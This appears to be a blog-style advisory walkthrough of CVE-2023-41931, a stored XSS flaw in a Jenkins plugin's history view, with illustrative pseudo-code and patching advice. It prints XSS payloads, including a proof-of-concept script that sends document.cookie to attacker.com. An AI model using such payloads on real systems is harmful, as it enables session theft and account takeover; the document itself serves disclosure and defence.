CVE-2023-41931 - Exploiting Jenkins Job Configuration History Plugin XSS Vulnerability (Detailed Walkthrough)

Jenkins is one of the most widely used open-source automation servers for continuous integration and continuous delivery (CI/CD). Plugins expand Jenkins features but sometimes introduce security risks. One such case is the Job Configuration History Plugin, affected by a critical security flaw: CVE-2023-41931.

Let’s break down what this vulnerability is, see how an attacker could exploit it, and discuss how to defend your Jenkins server. If you manage Jenkins, read on.

What Is CVE-2023-41931?

CVE-2023-41931 is a stored XSS (Cross-Site Scripting) vulnerability in the Job Configuration History Plugin up to version 1227.v7a_79fc4dc01f. The vulnerability exists because the plugin does not properly sanitize or escape the timestamp value from history entries when showing the history view. That means JavaScript or HTML inserted into the timestamp could be executed in a user’s browser.

Why Does This Matter?

If an attacker manages to insert malicious code into the history entry, this code would run any time someone visits the history view page. This is especially dangerous because Jenkins is often used by teams with many users who have access to sensitive pipelines, credentials, or production deployment permissions.

Original References

- Jenkins Security Advisory for CVE-2023-41931
- NVD Listing: CVE-2023-41931
- Job Configuration History Plugin Page

Technical Details

When any change is made to a Jenkins job, this plugin saves a history entry for audit. The entry contains metadata, including a timestamp. The plugin displays these entries in a web-based history view.

The flaw: The timestamp value is rendered unescaped into HTML. If an attacker controls (or can trick Jenkins into recording) a custom value containing JavaScript, that code gets executed by any browser loading the page.

---

Below is a hypothetical, simplified code snippet to illustrate the problem

// Pseudo-Java JSP code for rendering history entries:
for (HistoryEntry entry : historyList) {
    out.println("<tr>");
    out.println("<td>" + entry.getTimestamp() + "</td>"); // NO escaping!
    out.println("</tr>");
}

If entry.getTimestamp() contains <script>alert('XSS');</script>, then the HTML becomes

<td><script>alert('XSS');</script></td>

Anyone viewing this page gets a popup: the attack works.

Step 1: Insert Malicious Timestamp

- If an attacker can interact with Jenkins and influence timestamp values (possibly by manipulating the plugin or a related API), they could insert a value such as:

  <script>alert('Hacked');</script>
  

- Alternatively, a malicious plugin or compromised script/tool could create a history entry with this value.

Consequences

- Attacker could steal session cookies, impersonate users, or perform actions on behalf of the victim (session hijacking, CSRF, etc).

Example Proof of Concept (POC)

Note: This is a theoretical demonstration for educational purposes!

Suppose you somehow manage to get the following value stored as a timestamp

<script>fetch('https://attacker.com/steal?cookie='; + document.cookie)</script>

On page load, every user's browser will send their Jenkins session cookie to the attacker’s server.

How to Fix CVE-2023-41931

Jenkins has fixed this issue in Job Configuration History Plugin 1228.vd7a170615d61 and later.

Update the Plugin:

Go to _Manage Jenkins_ > _Manage Plugins_ and update the Job Configuration History Plugin to the latest version.

Sanitize Inputs:

If you write custom plugins or UI extensions, always escape and sanitize user-controlled data before rendering HTML!

Conclusion

Stored XSS bugs like CVE-2023-41931 can have devastating impact in CI/CD environments. Even “meta” values like timestamps can be a Trojan horse if not sanitized. Keep your Jenkins plugins up to date, review permissions, and if you write Jenkins plugins, always escape your outputs.

- Jenkins Plugin Update Center
- Jenkins Security Best Practices

Timeline

Published on: 09/06/2023 13:15:09 UTC
Last modified on: 09/11/2023 19:55:42 UTC